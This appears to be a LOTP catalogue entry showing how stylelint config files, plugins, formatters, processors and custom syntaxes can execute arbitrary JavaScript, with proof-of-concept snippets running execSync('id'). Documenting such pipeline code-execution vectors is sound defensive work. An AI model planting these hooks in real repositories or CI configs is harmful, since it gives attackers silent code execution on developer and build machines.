LOTP

stylelint

cli config-file eval-js

References

stylelint is a CSS linter with many configuration file:

Custom rules

If sylelint.config.js, sylelint.config.cjs, sylelint.config.mjs, .sytlelintrc.js, .stylelintrc.cjs or .stylelintrc.mjs is used, an attack can execute JS directly in the rules definition:

import { execSync } from "node:child_process";
/** @type {import('stylelint').Config} */
execSync("id");
export default {
	"rules": {},
};

Custom plugin

A custom plugin can execute JavaScript:

{
  "rules": {},
  "plugins": ["./pwn.cjs"]
}
require("node:child_process").execSync("id");
module.exports = { "ruleName": "plugin/pwn-plugin" };

Custom formatter

A custom formatter can execute JavaScript:

{
  "rules": {},
  "formatter": "./pwn.js",
}
import { execSync } from "node:child_process";
/**
 * @type {import('stylelint').Formatter}
 */
export default function formatter(results, returnValue) {
	execSync("id");
	return "";
}

Custom processor

A custom processor can execute JavaScript:

{
  "rules": {},
  "processors": [
    "./pwn.js",
  ],
}
import { execSync } from "node:child_process";
/** @type {import("stylelint").Processor} */
export default function myProcessor() {
	return {
		name: "pwn-processor",
		postprocess(result, root) {
			execSync("id");
		},
	};
}

Custom syntax

A custom syntax can execute JavaScript.

import pwnSyntax from "./pwn.js";
/** @type {import('stylelint').Config} */
export default {
	"rules": {},
    "overrides": [
		{
			"files": ["*.css"],
			"extends": [],
			"customSyntax": pwnSyntax,
			"rules": {},
		},
	],
};
import postcss from "postcss";
import { execSync } from "node:child_process";
function parse(css, opts) {
	execSync("id");
	const root = postcss.root();
	return root;
}
function stringify(node, builder) {
	postcss.stringify(node, builder);
}
export default { parse, stringify };